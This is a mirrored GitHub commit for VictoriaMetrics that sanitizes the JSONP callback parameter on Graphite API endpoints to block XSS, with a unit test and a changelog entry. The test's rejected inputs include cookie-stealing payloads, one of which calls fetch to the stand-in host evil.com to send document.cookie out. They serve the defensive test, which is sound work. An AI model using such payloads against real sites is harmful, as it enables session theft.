mirror of
https://github.com/VictoriaMetrics/VictoriaMetrics.git
synced 2026-05-17 00:26:36 +03:00
app/vmselect/graphite: sanitize JSONP callback parameter to prevent XSS
wip w
This commit is contained in:
@@ -52,7 +52,7 @@ func writeJSON(result any, w http.ResponseWriter, r *http.Request) error {
|
||||
if err != nil {
|
||||
return fmt.Errorf("cannot marshal response to JSON: %w", err)
|
||||
}
|
||||
jsonp := r.FormValue("jsonp")
|
||||
jsonp := sanitizeJSONP(r.FormValue("jsonp"))
|
||||
contentType := getContentType(jsonp)
|
||||
w.Header().Set("Content-Type", contentType)
|
||||
if jsonp != "" {
|
||||
|
||||
@@ -65,7 +65,7 @@ func MetricsFindHandler(startTime time.Time, w http.ResponseWriter, r *http.Requ
|
||||
if label == "__name__" {
|
||||
label = ""
|
||||
}
|
||||
jsonp := r.FormValue("jsonp")
|
||||
jsonp := sanitizeJSONP(r.FormValue("jsonp"))
|
||||
from, err := httputil.GetTime(r, "from", 0)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -139,7 +139,7 @@ func MetricsExpandHandler(startTime time.Time, w http.ResponseWriter, r *http.Re
|
||||
if len(delimiter) > 1 {
|
||||
return fmt.Errorf("`delimiter` query arg must contain only a single char")
|
||||
}
|
||||
jsonp := r.FormValue("jsonp")
|
||||
jsonp := sanitizeJSONP(r.FormValue("jsonp"))
|
||||
from, err := httputil.GetTime(r, "from", 0)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -202,7 +202,7 @@ func MetricsExpandHandler(startTime time.Time, w http.ResponseWriter, r *http.Re
|
||||
// See https://graphite-api.readthedocs.io/en/latest/api.html#metrics-index-json
|
||||
func MetricsIndexHandler(startTime time.Time, w http.ResponseWriter, r *http.Request) error {
|
||||
deadline := searchutil.GetDeadlineForQuery(r, startTime)
|
||||
jsonp := r.FormValue("jsonp")
|
||||
jsonp := sanitizeJSONP(r.FormValue("jsonp"))
|
||||
sq := storage.NewSearchQuery(0, math.MaxInt64, nil, 0)
|
||||
metricNames, err := netstorage.LabelValues(nil, "__name__", sq, 0, deadline)
|
||||
if err != nil {
|
||||
@@ -458,3 +458,16 @@ func getContentType(jsonp string) string {
|
||||
}
|
||||
return "text/javascript; charset=utf-8"
|
||||
}
|
||||
|
||||
// validJSONPCallback matches only safe JavaScript identifier characters,
|
||||
// preventing JSONP callback injection (XSS) on Graphite API endpoints.
|
||||
var validJSONPCallback = regexp.MustCompile(`^[a-zA-Z_$][a-zA-Z0-9_$.]*$`)
|
||||
|
||||
// sanitizeJSONP returns the callback name unchanged if it is a valid JavaScript
|
||||
// identifier, or an empty string if it contains any disallowed characters.
|
||||
func sanitizeJSONP(jsonp string) string {
|
||||
if jsonp == "" || validJSONPCallback.MatchString(jsonp) {
|
||||
return jsonp
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
@@ -66,6 +66,34 @@ func TestFilterLeaves(t *testing.T) {
|
||||
f([]string{"foo.", "bar."}, ".", []string{})
|
||||
}
|
||||
|
||||
func TestSanitizeJSONP(t *testing.T) {
|
||||
f := func(input, want string) {
|
||||
t.Helper()
|
||||
got := sanitizeJSONP(input)
|
||||
if got != want {
|
||||
t.Fatalf("sanitizeJSONP(%q) = %q; want %q", input, got, want)
|
||||
}
|
||||
}
|
||||
|
||||
f("", "")
|
||||
|
||||
// ok
|
||||
f("callback", "callback")
|
||||
f("_cb", "_cb")
|
||||
f("$", "$")
|
||||
f("jQuery", "jQuery")
|
||||
f("jQuery.fn.jsonp", "jQuery.fn.jsonp")
|
||||
f("jQuery18304567890", "jQuery18304567890")
|
||||
|
||||
// rejected
|
||||
f("alert(document.cookie)//", "")
|
||||
f("fetch('https://evil.com/?c='+document.cookie)//", "")
|
||||
f("callback\ninjected", "")
|
||||
f("callback;injected", "")
|
||||
f("callback(", "")
|
||||
f("a b", "")
|
||||
}
|
||||
|
||||
func TestAddAutomaticVariants(t *testing.T) {
|
||||
f := func(query, delimiter, resultExpected string) {
|
||||
t.Helper()
|
||||
|
||||
@@ -134,7 +134,7 @@ func RenderHandler(startTime time.Time, w http.ResponseWriter, r *http.Request)
|
||||
nextSeriess = append(nextSeriess, nextSeries)
|
||||
}
|
||||
f := nextSeriesGroup(nextSeriess, nil)
|
||||
jsonp := r.FormValue("jsonp")
|
||||
jsonp := sanitizeJSONP(r.FormValue("jsonp"))
|
||||
contentType := getContentType(jsonp)
|
||||
w.Header().Set("Content-Type", contentType)
|
||||
bw := bufferedwriter.Get(w)
|
||||
|
||||
@@ -235,7 +235,7 @@ func TagsAutoCompleteValuesHandler(startTime time.Time, w http.ResponseWriter, r
|
||||
}
|
||||
}
|
||||
|
||||
jsonp := r.FormValue("jsonp")
|
||||
jsonp := sanitizeJSONP(r.FormValue("jsonp"))
|
||||
contentType := getContentType(jsonp)
|
||||
w.Header().Set("Content-Type", contentType)
|
||||
bw := bufferedwriter.Get(w)
|
||||
@@ -318,7 +318,7 @@ func TagsAutoCompleteTagsHandler(startTime time.Time, w http.ResponseWriter, r *
|
||||
}
|
||||
}
|
||||
|
||||
jsonp := r.FormValue("jsonp")
|
||||
jsonp := sanitizeJSONP(r.FormValue("jsonp"))
|
||||
contentType := getContentType(jsonp)
|
||||
w.Header().Set("Content-Type", contentType)
|
||||
bw := bufferedwriter.Get(w)
|
||||
|
||||
@@ -27,6 +27,7 @@ See also [LTS releases](https://docs.victoriametrics.com/victoriametrics/lts-rel
|
||||
## tip
|
||||
|
||||
* SECURITY: upgrade Go builder from Go1.26.0 to Go1.26.1. See [the list of issues addressed in Go1.26.1](https://github.com/golang/go/issues?q=milestone%3AGo1.26.1%20label%3ACherryPickApproved).
|
||||
* SECURITY: [vmsingle](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/) and `vmselect` in [VictoriaMetrics cluster](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/): sanitize JSONP callback parameter in [Graphite API](https://docs.victoriametrics.com/victoriametrics/integrations/graphite/) endpoints to prevent XSS via callback injection. See [#10627](https://github.com/VictoriaMetrics/VictoriaMetrics/pull/10627).
|
||||
|
||||
* FEATURE: [vmagent](https://docs.victoriametrics.com/victoriametrics/vmagent/): add `headers` field to `oauth2` scrape config for passing custom HTTP headers to `token_url`. Some services require different headers for the token endpoint and the scrape targets. See [#8939](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/8939).
|
||||
* FEATURE: [vmauth](https://docs.victoriametrics.com/victoriametrics/vmauth/): add [OIDC Discovery](https://openid.net/specs/openid-connect-discovery-1_0.html) support for JWT authentication. `vmauth` can now automatically fetch and rotate public keys from an OpenID Connect provider, eliminating the need to specify public keys manually. See [OIDC Discovery](https://docs.victoriametrics.com/victoriametrics/vmauth/#oidc-discovery) docs. See [#10585](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10585).
|
||||
|
||||
Reference in New Issue
Block a user